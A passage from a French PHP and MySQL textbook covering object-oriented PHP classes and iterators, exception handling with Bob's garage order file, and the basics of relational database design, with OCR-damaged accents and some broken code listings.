$url ) renvoie un nombre si la chane stocke dans $url est contenue dans la variable
superglobale $ SERVER[PHP SELF] ou renvoie la valeur false dans le cas contraire.
Pour utiliser la classe Page, nous devons inclure le fichier page.inc dans un script et
appeler Afficher().
Le code du Listing 6.2 cre la page daccueil du site de lentreprise fictive TLA Consulting
et donne un rsultat trs semblable celui montr la Figure 6.2.
Le code du Listing 6.2 fonctionne de la manire suivante :
1. Il utilise linstruction require pour inclure le contenu de page.inc qui contient la
dfinition de la classe Page.
2. Il cre une instance de la classe Page. Cette instance est appele $page accueil.
3. Il dfinit le contenu, constitu de texte et de balises HTML qui doivent figurer dans
la page (ce qui appelle implicitement la mthode _ _set()).
4. Il appelle lopration Afficher() sur lobjet $page accueil pour provoquer laffichage de la page dans le navigateur web du visiteur.
Listing 6.2 : accueil.php Cette page daccueil est obtenue en utilisant la classe Page
pour accomplir lessentiel du travail ncessaire la gnration de la page
<?php
require("page.inc");
$page_accueil = new Page();
$page_accueil->contenu = "<p>Bienvenue sur le site de TLA Consulting.
Prenez le temps de nous connatre.</p>
<p>Nous sommes spcialiss dans laide aux dcisions et
nous esprons que vous ferez bientt appel nous.</p>";
$page_accueil->Afficher();
?>
Chapitre 6
195
Le Listing 6.2 montre la facilit avec laquelle de nouvelles pages web peuvent tre
ajoutes au site grce la classe Page. En outre, cette approche permet dobtenir des
pages dapparence trs similaire sur lensemble du site.
Pour utiliser une variante de la page standard dans une certaine partie du site, il suffit de
copier page.inc dans un nouveau fichier appel page2.inc et dy apporter les modifications
voulues. Toutefois, aprs avoir opr une telle "scission" de notre modle, nous devrons
reproduire dans le fichier page2.inc les ventuelles mises jour effectues dans page.inc.
Le concept dhritage nous offre une solution bien meilleure : nous pouvons crer une
nouvelle classe qui hrite de lessentiel de la fonctionnalit de la classe Page, mais qui
redfinit les parties que nous voulons prsenter diffremment.
Dans le cas du site TLA, par exemple, nous pourrions vouloir insrer une seconde barre
de navigation dans la page des services.
Le script du Listing 6.3 ralise cette modification en crant une nouvelle classe appele
PageServices qui hrite de la classe Page. Les boutons et les liens que nous voulons
voir figurer sur une seconde ligne sont enregistrs dans un nouveau tableau, appel
$boutonsLigne2. Cette classe devant avoir un comportement trs semblable celui de
la classe Page, nous ne redfinissons que les parties modifier, cest--dire lopration
Afficher().
Listing 6.3 : services.php La classe PageServices hrite de la classe Page mais
redfinit lopration Afficher() de sorte produire une barre de navigation diffrente
<?php
require ("page.inc");
class PageServices extends Page {
private $boutonsLigne2 = array(
"Re-engineering" => "reengineering.php",
"Conformit aux standards" => "standards.php",
"Respect du Buzz" => "buzzword.php",
"Missions" => "mission.php"
);
public function Afficher() {
echo "<html>\n<head>\n";
$this->AfficherTitre();
$this->AfficherMotsCles();
$this->AfficherStyles();
echo "</head>\n<body>\n";
$this->AfficherEntete();
$this->AfficherMenu($this->boutons);
$this->AfficherMenu($this->boutonsLigne2);
echo $this->contenu;
$this->AfficherPied();
echo "</body>\n</html>\n";
}
}
196
Partie I
Utilisation de PHP
Cette ligne appelle AfficherMenu() une seconde fois, de sorte crer la seconde barre
de menus.
En dehors de la dfinition de la classe, nous crons une instance de la classe Page
Services, nous dfinissons les valeurs qui requirent des valeurs diffrentes de celles
par dfaut, puis nous appelons Afficher().
Comme le montre la Figure 6.2, nous produisons bien ainsi une variante de la page
standard. Pour cela, nous nous sommes contents dcrire du nouveau code pour les
seules parties rellement diffrentes.
Figure 6.2
La page des services est produite sur le principe de lhritage, de sorte rutiliser lessentiel
du contenu de la page standard.
Chapitre 6
197
La cration de pages via des classes PHP prsente des avantages indniables. Comme
nous disposons dune classe capable de faire lessentiel du travail notre place, la cration dune nouvelle page ne ncessite que trs peu defforts. De plus, nous pouvons
facilement mettre jour toutes les pages du site en une seule fois, en travaillant directement la source, cest--dire sur la classe. Grce au principe de lhritage, il est facile
dobtenir diffrentes variantes dune mme classe tout en conservant les avantages de la
classe dorigine.
Comme cest hlas gnralement le cas, les avantages de cette approche ont un cot.
La gnration de pages partir dun script requiert plus deffort de la part du processeur
de lordinateur que le simple chargement dune page HTML statique partir dun
disque dur ou la transmission dune page un navigateur. Sur un site trs frquent, ce
dtail peut tre important et vous devrez alors faire en sorte dutiliser des pages HTML
statiques ou de mettre en cache la sortie de vos scripts chaque fois que cela est possible
afin de rduire la charge pesant sur le serveur.
198
Partie I
Utilisation de PHP
Notez que vous ne pouvez pas utiliser le mot-cl this lintrieur dune mthode statique, car il ny a aucune instance laquelle se rfrer.
Vrification du type de classe et indication de type
Le mot-cl instanceof permet de vrifier le type dun objet. Avec lui, vous pouvez
vrifier si un objet est une instance dune classe particulire, sil hrite dune classe ou
sil implmente une interface. Le mot-cl instanceof est, en ralit, un oprateur
conditionnel. Par exemple, avec les exemples prcdents, dans lesquels la classe B est
une sous-classe de la classe A :
($b instanceof B)
serait vrai.
($b instanceof A)
serait vrai.
serait faux.
Cet exemple suggre que $uneClasse doit tre une instance de la classe B. Si vous
passez ensuite une instance de la classe A de la manire suivante :
verif_type($a);
Notez que, si vous aviez indiqu A et pass une instance de B, aucune erreur ne serait
survenue, car B hrite de A.
Chapitre 6
199
Clonage dobjets
Le mot-cl clone permet de copier un objet existant. Linstruction suivante, par exemple :
$c = clone $b;
cre une copie de lobjet $b de la mme classe, avec les mmes valeurs dattributs.
Vous pouvez galement modifier ce comportement. Si vous souhaitez que le clonage
nadopte pas le comportement par dfaut, vous devez crer une mthode _ _clone()
dans la classe de base. Cette mthode est semblable un constructeur ou un destructeur car on ne lappelle pas directement : elle est invoque lorsque lon utilise le mot-cl
clone comme ici. Dans cette mthode _ _clone(), vous pouvez ensuite dfinir exactement
le comportement de copie que vous souhaitez.
Le fait intressant concernant la fonction _ _clone() tient ce quelle est appele aprs
quune copie exacte eut t effectue en utilisant le comportement par dfaut, ce qui
permet ce stade de ne modifier que ce que vous souhaitez changer.
Le plus souvent, on ajoute _ _clone() du code pour garantir que les attributs de la
classe qui sont grs comme des rfrences seront correctement copis. Si vous vous
prparez cloner une classe qui contient une rfrence un objet, vous souhaiterez sans
doute obtenir une seconde copie de cet objet au lieu dune seconde rfrence au mme
objet. Il est alors judicieux dajouter cette fonctionnalit _ _clone().
Il est galement possible que vous choisissiez de ne rien changer mais de raliser
dautres actions, par exemple en mettant jour un enregistrement dune base de
donnes sous-jacente lie la classe.
Classes abstraites
PHP permet dcrire des classes abstraites qui ne peuvent pas tre instancies, ainsi que
des mthodes abstraites qui fournissent la signature dune mthode mais nen proposent
pas dimplmentation. Voici un exemple dune telle mthode :
abstract operationX($param1, $param2);
Toute classe qui contient des mthodes abstraites doit elle-mme tre abstraite, comme
le montre cet exemple :
abstract class A {
abstract function operationX($param1, $param2);
}
Lusage principal des mthodes et des classes abstraites concerne le cas des hirarchies
de classes complexes o vous souhaitez vous assurer que chaque sous-classe contient et
redfinit certaines mthodes particulires. Ce but peut galement tre atteint avec une
interface.
200
Partie I
Utilisation de PHP
_ _call(),
Chapitre 6
201
Utiliser _ _autoload()
La fonction _ _autoload() est une autre fonction spciale de PHP. Il sagit non pas
dune mthode de classe mais dune fonction autonome. Autrement dit, il faut la dclarer en dehors de toute classe. Si vous limplmentez, elle sera automatiquement appele
lorsque vous tenterez dinstancier une classe qui na pas t dclare.
Lutilisation principale de _ _autoload() consiste inclure tous les fichiers requis pour
instancier une classe. Considrez lexemple suivant :
function _ _autoload($nom) {
include_once $nom . ".php";
}
Cette implmentation tente dinclure un fichier possdant le mme nom que la classe.
Implmentation des itrateurs et itrations
Lune des fonctionnalits astucieuses du moteur orient objet de PHP tient ce que
vous pouvez utiliser une boucle foreach() pour parcourir les attributs dun objet
comme vous le feriez avec un tableau. Voici un exemple :
class MaClasse {
public $a = 5;
public $b = 7;
public $c = 9;
}
$x = new MaClasse;
foreach ($x as $attribut) {
echo $attribut . "<br />";
}
lheure o nous crivons ces lignes, le manuel PHP suggre quil faut implmenter
linterface vide Traversable pour que linterface foreach fonctionne mais, si vous le
faites, une erreur fatale se produit. Inversement, tout semble fonctionner si vous ne
limplmentez pas.
Si vous avez besoin dun comportement plus sophistiqu, vous pouvez implmenter un
itrateur. Pour cela, il faut que la classe sur laquelle vous souhaitez oprer litration
implmente linterface IteratorAggregate et vous devez lui crire une mthode appele
getIterator qui renvoie une instance de la classe ditrateur. Cette classe ditrateur doit
implmenter linterface Iterator, qui possde une srie de mthodes que vous devrez
donc galement implmenter. Le Listing 6.4 montre un exemple de classe et ditrateur.
Listing 6.4 : iterator.php Exemple de classe de base et de classe ditrateur
<?php
class IterateurObjet implements Iterator {
private $obj;
202
Partie I
Utilisation de PHP
private $cpteur;
private $indiceCourant;
function _ _construct($obj) {
$this->obj = $obj;
$this->cpteur = count($this->obj->donnees);
}
function rewind() {
$this->indiceCourant = 0;
}
function valid() {
return $this->indiceCourant < $this->cpteur;
}
function key() {
return $this->indiceCourant;
}
function current() {
return $this->obj->donnees[$this->indiceCourant];
}
function next() {
$this->indiceCourant++;
}
}
class Objet implements IteratorAggregate {
public $donnees = array();
function _ _construct($in)
{
$this->donnees = $in;
}
function getIterator() {
return new ObjectIterator($this);
}
}
$monObjet = new Objet(array(2, 4, 6, 8, 10));
$monIter = $monObjet->getIterator();
for($monIter->rewind(); $monIter->valid(); $monIter->next())
$cle = $monIter->key();
$valeur = $monIter->current();
echo $cle . "=> " . $valeur . "<br />";
}
?>
Le constructeur nest pas obligatoire, mais il sagit videmment dun bon emplacement pour dfinir les valeurs pour le nombre dlments que vous prvoyez de
parcourir et un lien vers llment courant.
La fonction rewind() doit repositionner le pointeur de donnes interne au dbut des
donnes.
Chapitre 6
m
m
203
La raison pour laquelle on utilise une classe ditrateur comme celle-ci est que linterface vers les donnes ne changera pas mme si limplmentation sous-jacente devait
tre modifie par la suite. Dans cet exemple, la classe IteratorAggregate est un simple
tableau ; si vous dcidiez de la modifier en la remplaant par un tableau de hachages ou
une liste chane, vous pourrez toujours utiliser un Iterator standard pour la traverser,
mme si le code de la classe Iterator devrait tre modifi.
Conversion de classes en chanes
Si vous implmentez une mthode _ _toString() dans votre classe, elle sera appele
lorsque vous essayez dafficher un objet de cette classe, comme dans cet exemple :
$p = new Affichable;
echo $p;
echo affichera alors ce que renvoie la mthode _ _toString(). Vous pourriez par exemple
limplmenter de la faon suivante :
class Affichable {
public $testUn;
public $testDeux;
public function _ _toString() {
return(var_export($this, TRUE));
}
}
204
Partie I
Utilisation de PHP
Ici, vous utilisez la mthode _ _toString() de la classe Reflection pour imprimer ces
donnes. Notez que les balises <pre> se trouvent sur des lignes spares afin de ne pas
perturber la mthode _ _toString().
Le premier cran de sortie de ce code est prsent la Figure 6.3.
Figure 6.3
La sortie de lAPI dintrospection est tonnamment
dtaille.
Pour la suite
Le chapitre suivant prsente le traitement des exceptions en PHP, qui constituent un
mcanisme lgant pour la gestion des erreurs dexcution.
7
Gestion des exceptions
Dans ce chapitre, nous prsenterons la gestion des exceptions et son implmentation
dans PHP. Les exceptions offrent un mcanisme unifi pour grer les erreurs de manire
volutive, adapte la maintenance et oriente objet.
Si quelque chose se passe mal lintrieur du bloc try, vous pouvez lever une
exception. Certains langages, comme Java, lvent automatiquement des exceptions
dans certains cas. En PHP, les exceptions doivent tre leves manuellement, comme
ici :
throw new Exception(message, code);
206
Partie I
Utilisation de PHP
Enfin, sous le bloc try, vous avez besoin au minimum dun bloc catch, qui doit ressembler
ceci :
catch (indication du type de lexception {
// gestion de lexception
}
Plusieurs blocs catch peuvent tre associs un mme bloc try. Cest notamment
cohrent si chaque bloc catch capture un type dexception diffrent. Si, par exemple,
vous souhaitez capturer des exceptions de la classe Exception, votre bloc catch pourrait
ressembler ceci :
catch (Exception $e) {
// gestion de lexception
}
Lobjet pass dans (et captur par) le bloc catch est celui qui est transmis (et lanc
par) linstruction throw qui a lev lexception. Lexception peut tre de nimporte quel
type, mais il est prfrable dutiliser des instances de la classe Exception ou des exceptions
que vous avez dfinies vous-mme et qui hritent de la classe Exception (vous verrez
comment dfinir vos propres exceptions plus loin dans ce chapitre).
Lorsquune exception est leve, PHP recherche un bloc catch correspondant. Sil
existe plusieurs blocs catch, les objets passs chacun dentre eux doivent tre de
types diffrents afin que PHP puisse dterminer sur quel bloc catch il convient de
retomber.
Notez par ailleurs que vous pouvez lever dautres exceptions lintrieur dun bloc
catch.
Pour rendre ces explications plus claires, considrez lexemple simple de gestion
dexception prsent dans le Listing 7.1.
Listing 7.1 : basic_exception.php Lever et capturer une exception
<?php
try {
throw new Exception("Une terrible erreur sest produite", 42);
}
catch (Exception $e) {
echo "Exception " . $e->getCode() . ": " . $e->getMessage() .
" dans " . $e->getFile(). " en ligne ". $e->getLine() . "<br />";
}
?>
Dans le Listing 7.1, vous pouvez remarquer que nous avons utilis un certain nombre
de mthodes de la classe Exception, sur lesquelles nous reviendrons dans un instant.
Le rsultat de ce code est prsent la Figure 7.1.
Chapitre 7
207
Figure 7.1
Ce bloc catch signale le message derreur de lexception et lendroit o lexception est survenue.
Dans cet exemple, vous pouvez remarquer que nous levons une exception de la classe
Exception. Cette classe prdfinie possde des mthodes que vous pouvez utiliser dans
le bloc catch afin de produire un message derreur utile.
La classe Exception
PHP dispose dune classe prdfinie appele Exception. Son constructeur prend deux
paramtres, comme indiqu prcdemment : un message et un code derreur.
Outre ce constructeur, cette classe propose les mthodes suivantes :
m
Permet deffectuer un simple echo dun objet Exception, en fournissant toutes les informations des mthodes prcdentes.
Comme vous le voyez, nous avons utilis les quatre premires mthodes dans le
Listing 7.1. Vous pouvez obtenir les mmes informations (ainsi que la trace dexcution)
laide de linstruction suivante :
echo $e;
208
Partie I
Utilisation de PHP
private $trace;
private $string;
Chapitre 7
209
return self::TraceFormat($this);
}
function _toString() {
return $this->string;
}
static private function StringFormat(Exception $exception) {
// ... fonction non disponible dans les scripts PHP
// qui renvoie toutes les infos pertinentes sous forme de chane
}
static private function TraceFormat(Exception $exception) {
// ... fonction non disponible dans les scripts PHP
// qui renvoie la trace dexcution sous forme de chane
}
}
? >
La raison principale qui nous amne examiner cette dfinition de classe consiste
noter que la plupart des mthodes publiques sont finales : vous ne pouvez donc pas les
redfinir. Vous pouvez crer vos propres sous-classes Exceptions, mais vous ne pouvez
pas modifier le comportement des mthodes de base. Notez que vous pouvez redfinir
la fonction _ _toString(), ce qui vous permet de modifier la manire dont lexception
sera affiche. Vous pouvez galement ajouter vos propres mthodes.
Le Listing 7.3 prsente un exemple de classe Exception dfinie par lutilisateur.
Listing 7.3 : exception_utilisateur.php Exemple de classe Exception dfinie
par lutilisateur
<?php
class MonException extends Exception {
function _ _toString() {
return "<table border=\"1\">
<tr>
<td><strong>Exception " . $this->getCode()
. "</strong>: " . $this->getMessage() ."<br />" . " dans "
. $this->getFile() . " en ligne " . $this->getLine()
. "</td>
</tr>
</table><br />";
}
}
try {
throw new MonException("Une erreur terrible sest produite", 42);
}
catch (MonException $m) {
echo $m;
}
?>
210
Partie I
Utilisation de PHP
Dans ce code, vous dclarez une nouvelle classe dexception appele MonException qui
tend la classe de base Exception. La diffrence entre cette classe et la classe Excep
tion tient ce que vous redfinissez la mthode _ _toString() afin de proposer une
sortie amliore de lexception. La sortie rsultant de lexcution de ce code est prsente
la Figure 7.2.
Figure 7.2
La classe myException
fournit un affichage
amlior des exceptions.
Cet exemple est plutt simple. Dans la section suivante, nous allons examiner des
moyens de crer diffrentes exceptions pour grer diffrentes catgories derreur.
Exceptions dans le garage de Bob
Le Chapitre 2 vous a montr comment les donnes des commandes du garage de Bob
pouvaient tre stockes dans un fichier plat. Vous savez que les E/S sur fichier (en fait,
tout type dE/S) sont un secteur des programmes o des erreurs interviennent souvent.
Il sagit ainsi dun bon domaine pour mettre en application la gestion des exceptions.
En revenant au code dorigine, vous pouvez voir que trois choses peuvent mal se passer
avec lcriture dans le fichier : le fichier ne peut pas tre ouvert, un verrou ne peut pas
tre obtenu ou le fichier nest pas accessible en criture. Nous avons donc cr une
classe dexception pour chacune de ces possibilits, comme le montre le Listing 7.4.
Listing 7.4 : exceptions_fichiers.php Exceptions lies aux E/S de fichier
<?php
class ExceptionOuvertureFichier extends Exception {
public function _ _toString() {
return " ExceptionOuvertureFichier " . $this->getCode()
. ": " . $this->getMessage() . "<br />" . " dans "
. $this->getFile() . " en ligne " . $this->getLine()
. "<br />";
}
}
class ExceptionEcritureFichier extends Exception {
public function _ _toString() {
return "ExceptionEcritureFichier " . $this->getCode()
. ": " . $this->getMessage() . "<br />" . " dans "
Chapitre 7
211
212
Partie I
Utilisation de PHP
$qte_totale = 0;
$qte_totale = $qte_pneus + $qte_huiles + $qte_bougies;
echo Articles commandés: . $qte_totale . <br />;
if( $qte_totale == 0)
{
echo "Vous navez rien commandé!<br />";
}
else
{
if ( $qte_pneus > 0 )
echo $qte_pneus . pneus<br />;
if ( $qte_huiles > 0 )
echo $qte_huiles . " bidons dhuile<br />";
if ( $qte_bougies > 0 )
echo $qte_bougies . bougies<br />;
}
$montant_total = 0.00;
define(PRIX_PNEUS, 100);
define(PRIX_HUILES, 10);
define(PRIX_BOUGIES, 4);
$montant_total = $qte_pneus * PRIX_PNEUS
+ $qte_huiles * PRIX_HUILES
+ $qte_bougies * PRIX_BOUGIES;
$montant_total = number_format($montant_total, 2, ., );
echo <p>Total de la commande: . $montant_total . </p>;
echo <p>Adresse de livraison: . $adresse . </p>;
$chaine_sortie = "$date\t$qte_pneus pneus\t$qte_huiles bidons " .
"dhuile\t$qte_bougies bougies\t$montant_total \t" .
"$adresse\n";
// Ouverture du fichier en mode ajout
try {
if (!($fp = @fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab))) {
throw new ExceptionOuvertureFichier();
}
if (!flock($fp, LOCK_EX)) {
throw new ExceptionVerrouillageFichier();
}
if (!fwrite($fp, $chaine_sortie, strlen($chaine_sortie))) {
throw new ExceptionEcritureFichier();
}
flock($fp, LOCK_UN);
flclose($fp);
echo <p>Commande sauvegardée.</p>;
}
catch (ExceptionOuvertureFichier $ex_of) {
echo "<p><strong>Impossible douvrir le fichier des commandes.
Contactez le webmaster pour plus de renseignements.</strong></p>";
}
Chapitre 7
213
Comme vous pouvez le constater, la section des E/S de fichier de ce script est encapsule dans un bloc try. En gnral, le bon usage en matire de programmation consiste
utiliser des blocs try de petite taille et capturer les exceptions appropries la fin de
chacun dentre eux. Le code de gestion des exceptions est ainsi plus facile crire et
maintenir car vous pouvez voir ce que vous grez.
Si vous ne pouvez pas ouvrir le fichier, vous levez une ExceptionOuvertureFichier;
si vous ne pouvez pas verrouiller le fichier, vous levez une ExceptionVerrouillage
Fichier; enfin, si vous ne pouvez pas crire dans le fichier, vous levez une Exception
EcritureFichier.
Examinez les blocs catch. des fins illustratives, nous nen utilisons que deux : lun
pour grer les ExceptionOuvertureFichier, lautre pour grer les Exception. Les
autres exceptions hritant de Exception, elles seront donc captures par le second bloc
catch. Les blocs catch sont mis en correspondance selon le mme principe que
loprateur instanceof. Il sagit dune bonne raison dtendre vos propres classes
dexception partir dune seule classe.
Attention : si vous levez une exception pour laquelle vous navez pas crit de bloc
catch correspondant, PHP signalera une erreur fatale !
214
Partie I
Utilisation de PHP
Lectures complmentaires
La gestion des exceptions tant rcente en PHP, il ny a que peu dcrits sur ce sujet. En
revanche, on trouve dabondantes informations sur la gestion des exceptions. Sun,
notamment, propose un excellent didacticiel qui explique ce que sont les exceptions et
les raisons qui pourraient vous amener les utiliser (dans loptique dune programmation en Java, videmment). Ce didacticiel est disponible ladresse http://
java.sun.com/docs/books/tutorial/essential/exceptions/handling.html.
Prochaine tape
La prochaine tape de ce livre concerne MySQL. Nous montrerons comment crer et
remplir une base de donnes MySQ, puis nous mettrons en uvre ce que vous avez
appris sur PHP afin de pouvoir accder votre base de donnes depuis le Web.
II
Utilisation de MySQL
10
11
12
13
8
Conception dune base
de donnes web
Maintenant que vous connaissez les lments essentiels de PHP, nous allons nous intresser lintgration dune base de donnes dans vos scripts. Au Chapitre 2, nous avons
prsent les avantages de lutilisation dune base de donnes relationnelle la place
dun fichier plat. Voici un rsum des atouts des SGBDR (systmes de base de donnes
relationnelles) :
m
m
Ils permettent daccder aux donnes plus rapidement quavec des fichiers plats.
On peut les interroger trs facilement pour rcuprer des ensembles de donnes
satisfaisant certains critres.
Ils possdent des mcanismes intgrs permettant de grer les accs simultans,
pour que le programmeur, cest--dire vous-mme, nait pas besoin de sen
occuper.
218
Partie II
Utilisation de MySQL
Dans cette partie du livre, nous utiliserons le SGBDR MySQL mais, avant dtudier ses
caractristiques spcifiques, nous devons prsenter :
m
Le Chapitre 9 prsente la configuration de base dont vous aurez besoin pour connecter votre base de donnes MySQL sur le Web. Vous apprendrez crer des utilisateurs, des bases de donnes, des tables et des index. Vous dcouvrirez galement les
diffrents moteurs de stockage de MySQL.
Le Chapitre 10 explique comment interroger la base de donnes, ajouter, supprimer
et modifier des enregistrements partir de la ligne de commande.
Le Chapitre 11 explique comment connecter PHP et MySQL pour pouvoir administrer votre base de donnes partir dune interface web. Nous prsenterons deux
mthodes : lextension mysqli de PHP et la couche dabstraction PEAR:DB.
Le Chapitre 12 couvre en dtail ladministration de MySQL, notamment le systme
des privilges, la scurit et loptimisation.
Le Chapitre 13 dcrit les moteurs de stockage et traite notamment des transactions,
des recherches textuelles et des procdures stockes.
Chapitre 8
219
CLIENTS
IDClient
Nom
Adresse
Ville
Julie Dupont
25 rue neuve
Toulouse
Alain Wong
Paris
Michelle Arthur
19 rue blanche
Bordeaux
Figure 8.1
Les informations concernant les clients de Book-O-Rama sont enregistres dans une table.
220
Partie II
Utilisation de MySQL
Nous pouvons identifier Julie de plusieurs manires. On peut supposer quil sagit de la
seule Julie Dupont habitant son adresse. Cependant, le fait de dsigner ce client par
"Julie Dupont, 25 rue neuve, Toulouse" est assez pnible et un peu trop administratif.
Cela implique galement dutiliser plusieurs colonnes dans la table.
Ici, nous avons choisi une approche que vous reprendrez probablement dans vos applications : nous utilisons un identificateur unique (IDClient) pour chaque client. Ce principe est assez courant puisque vous possdez dj un numro de compte bancaire ou un
numro de scurit sociale qui sont uniques. Ces numros permettent denregistrer les
dtails qui vous concernent dans une base de donnes de faon plus efficace et plus
simple. De plus, ce numro tant artificiel et cr de toutes pices, nous pouvons garantir quil sera unique. Dans la pratique, il existe peu dinformations qui possdent cette
proprit, mme si lon en utilise plusieurs conjointement.
La colonne didentification dune table est appele cl, ou cl primaire. Une cl peut
galement tre rpartie sur plusieurs colonnes. Si, par exemple, nous avions choisi
didentifier Julie par "Julie Dupont, 25 rue neuve, Toulouse", la cl serait forme des
colonnes Nom, Adresse et Ville ; dans ce cas, il serait impossible de garantir son
unicit.
CLIENTS
IDClient
Nom
Adresse
Ville
Julie Dupont
25 rue neuve
Toulouse
Alain Wong
Paris
Michelle Arthur
19 rue blanche
Bordeaux
IDClient
Montant
Date
COMMANDES
IDCommande
1
27.50
02 Avr 2007
12.99
15 Avr 2007
74.00
19 Avr 2007
6.99
01 Mai 2007
Figure 8.2
Chaque commande de la table Commandes fait rfrence un client dans la table Clients.
Chapitre 8
221
Les bases de donnes contiennent gnralement plusieurs tables et se servent des cls
comme dune rfrence dune table une autre. Dans la Figure 8.2, nous avons ajout
une seconde table dans la base de donnes, afin de stocker les commandes effectues
par les clients. Chaque ligne de la table Commandes reprsente une seule commande,
effectue par un seul client, identifi par son IDClient. Si, par exemple, nous examinons la commande dont lIDCommande est 2, nous pouvons voir quelle a t effectue
par le client dont lIDClient est 1. Si nous nous reportons ensuite la table Clients,
nous pouvons constater que cet identifiant dsigne Julie Dupont.
Dans la terminologie des bases de donnes relationnelles, cette relation est appele une
cl trangre. IDClient est la cl primaire dans Clients mais, lorsquelle apparat dans
une autre table comme Commandes, elle devient une cl trangre dans cette table.
Vous vous demandez peut-tre pourquoi nous avons choisi davoir deux tables diffrentes et pourquoi nous ne nous sommes pas contents denregistrer ladresse de Julie dans
Commandes ? Nous expliquerons ce choix dans la prochaine section.
Schmas
Lensemble des structures des tables dune base de donnes est appel schma de la
base de donnes. Il sagit dune sorte de plan. Un schma doit reprsenter les tables
ainsi que leurs colonnes, la cl primaire de chaque table et toutes les cls trangres. Il
ne contient aucune donne, mais vous pouvez choisir de prsenter quelques donnes
typiques avec votre schma pour expliquer son fonctionnement. Un schma peut tre
reprsent par un diagramme informel comme celui des figures prcdentes, par un
diagramme entits-relations (que nous ne prsenterons pas dans ce livre) ou, plus
simplement, sous forme textuelle, comme ici :
Clients(IDClient, Nom, Adresse, Ville)
Commandes(IDCommande, IDClient, Montant, Date)
Les termes souligns dans ce schma sont les cls primaires de la relation dans laquelle
ils apparaissent, tandis que les termes en italique sont les cls trangres de la relation
dans laquelle ils apparaissent en italique.
Relations
Les cls trangres reprsentent une relation entre des donnes de deux tables. Par
exemple, le lien de la table Commandes vers la table Clients reprsente une relation
entre une ligne de Commandes et une ligne de Clients.
Il existe trois principaux types de relations dans une base de donnes relationnelle. Ces
relations peuvent tre classes en fonction du nombre dlments intervenant dans
chaque membre de la relation : un-vers-un, un-vers-plusieurs, ou plusieurs-versplusieurs.
222
Partie II
Utilisation de MySQL
Une relation un-vers-un signifie que la relation fait intervenir un seul lment de chaque
ct. Par exemple, si nous avions plac les adresses dans une autre table que Clients, il
existerait une relation un-vers-un entre elles. Vous pourriez alors avoir une cl trangre
de Addresses vers Clients ou dans lautre sens (cette rciprocit nest pas ncessaire).
Dans une relation un-vers-plusieurs, une ligne dune table est associe plusieurs
lignes dune autre table. Dans notre exemple, un client de la table Clients peut effectuer plusieurs commandes, qui apparatront alors dans la table Commandes. Dans ce type
de relation, la table dont plusieurs lignes participent la relation possde une cl trangre vers lautre table. Ici, nous avons plac IDClient dans la table Commandes pour
illustrer cette relation.
Dans une relation plusieurs-vers-plusieurs, plusieurs lignes dune table sont associes
plusieurs lignes dune autre table. Par exemple, si nous prenons lexemple de deux
tables, Livres et Auteurs, il se peut quun livre ait t crit par deux auteurs, chacun
dentre eux ayant crit dautres livres, soit indpendamment, soit avec dautres auteurs.
Ce type de relation est gnralement assez complexe, cest pourquoi il peut tre intressant de possder les tables Livres, Auteurs et Livres Auteurs. Cette dernire table ne
contiendra que les cls des autres tables sous forme de cls trangres, afin de connatre
les auteurs associs chaque livre.
Chapitre 8
223
possdent un nom et une adresse. Les commandes sont caractrises par une date, un
montant total et un ensemble de livres achets. Chaque livre possde un code ISBN,
un auteur, un titre et un prix.
Daprs ces caractristiques, nous pouvons crer au moins trois tables dans cette base
de donnes : Clients, Commandes et Livres. Ce schma initial est reprsent par la
Figure 8.3.
CLIENTS
IDClient
Nom
Adresse
Ville
Julie Dupont
25 rue neuve
Toulouse
Alain Wong
Paris
Michelle Arthur
19 rue blanche
Bordeaux
IDClient
Montant
Date
COMMANDES
IDCommande
1
27.50
02 Avr 2007
12.99
15 Avr 2007
74.00
19 Avr 2007
6.99
01 Mai 2007
LIVRES
ISBN
Auteur
Titre
Prix
0 672 31697 8
Michael Morgan
34.99
0 672 31745 1
Thomas Down
Installing GNU/Linux
24.99
0 672 31509 2
Pruitt.et al.
24.99
Figure 8.3
Le schma initial contient les tables Clients, Commandes et Livres.
Pour linstant, il est impossible de deviner, partir du modle, les livres qui correspondent
chaque commande. Nous allons nous en occuper maintenant.
224
Partie II
Utilisation de MySQL
Montant
Date
IDClient
12
199.50
25 Avr 2007
13
43.00
29 Avr 2007
14
15.99
30 Avr 2007
15
23.75
01 Mai 2007
Nom
Adresse
Ville
Julie Dupont
25 rue neuve
Toulouse
Julie Dupont
25 rue neuve
Toulouse
Julie Dupont
25 rue neuve
Toulouse
Julie Dupont
25 rue neuve
Toulouse
Figure 8.4
Une conception de base de donnes qui enregistre des informations redondantes gaspille
de lespace disque et peut entraner des anomalies dans les donnes.
Elle gaspille de lespace. Pourquoi enregistrer trois fois les donnes concernant
Julie, alors quil suffit de ne les enregistrer quune seule fois ?
Cette approche peut entraner des anomalies dans les mises jour des informations,
cest--dire des situations dans lesquelles certaines informations de la base de
donnes sont modifies avec, pour consquence, une base de donnes dans un tat
incohrent. Lintgrit des donnes est viole et il est alors impossible de distinguer
les donnes correctes des donnes incorrectes. Cette situation implique gnralement
des pertes dinformations.
Si Julie dmnage pendant quelle a une commande en cours, il faut mettre jour
son adresse trois endroits au lieu dun seul, ce qui reprsente trois fois plus de
travail. Il est assez facile doublier cette tche et de ne changer son adresse qu un
seul endroit, ce qui entranera des incohrences dans la base de donnes (une
situation quil faut viter tout prix). Ce type de problme est appel anomalie de
modification, puisquil a lieu pendant une modification de la base de donnes.
Nous devons saisir les dtails concernant Julie chaque fois quelle effectue
une commande et vrifier que ces dtails sont cohrents avec les donnes existant dj dans la table. Si nous omettons cette vrification, il se peut que nous
Chapitre 8
225
nous retrouvions avec deux lignes contenant des informations diffrentes sur
Julie. Par exemple, lune de ces lignes peut indiquer que Julie habite Toulouse
et une autre, quelle habite Blagnac. Ce type derreur est appel anomalie
dinsertion, puisquelle a lieu lorsque de nouvelles donnes sont insres dans
les tables.
m
Les bases de donnes sont normalement conues pour quaucune de ces anomalies ne
puisse avoir lieu.
Utiliser des valeurs de colonne atomiques
Utiliser des valeurs de colonne atomiques signifie que, dans chaque attribut de chaque
ligne, vous ne stockez quun seul lment. Par exemple, si nous devons connatre tous
les livres associs chaque commande, il existe plusieurs approches diffrentes.
Nous pouvons ajouter une colonne dans la table Commandes qui fournira la liste de tous
les livres commands (voir la Figure 8.5).
COMMANDES
IDCommande
IDClient
Montant
Date
Livres Commandes
27.50
02 Avr 2007
0 672 31697 8
12.99
15 Avr 2007
74.00
19 Avr 2007
0 672 31697 8
6.99
01 Mai 2007
Figure 8.5
Avec cette architecture, lattribut Livres commands de chaque ligne contient plusieurs valeurs.
